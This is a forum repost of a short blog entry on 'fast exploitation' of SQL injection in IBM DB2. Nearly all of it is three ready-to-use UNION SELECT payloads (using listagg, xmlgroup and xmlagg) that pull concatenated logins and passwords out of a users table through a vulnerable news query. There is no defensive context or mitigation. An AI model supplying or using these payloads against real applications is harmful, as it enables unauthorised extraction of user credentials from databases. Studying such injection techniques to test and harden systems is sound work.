Jump to content
Nytro

Fast exploitation method of SQL Injection in IBM DB2

Recommended Posts

Posted

Fast exploitation method of SQL Injection in IBM DB2

1. listagg

select * from news where id=-1 union select null,listagg(login||chr(58)||pass,chr(44)) from users

db2_listagg.png

(In the first example I use cast function only for good formatted output, but in the second and the third examples cast function is needed for the type conversion)

2. xmlgroup

select * from news where id=-1 union select null,cast(xml2clob(xmlgroup(login,pass)) as varchar(180)) from users

db2_xmlgroup.png

3. xmlagg

select * from news where id=-1 union select null,cast(xml2clob(xmlagg(xmlrow(login,pass))) as varchar(180)) from users

db2_xmlagg.png

Posted by dsrbr at 10:02 AM

Sursa: http://dsrbr.blogspot.ru/

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...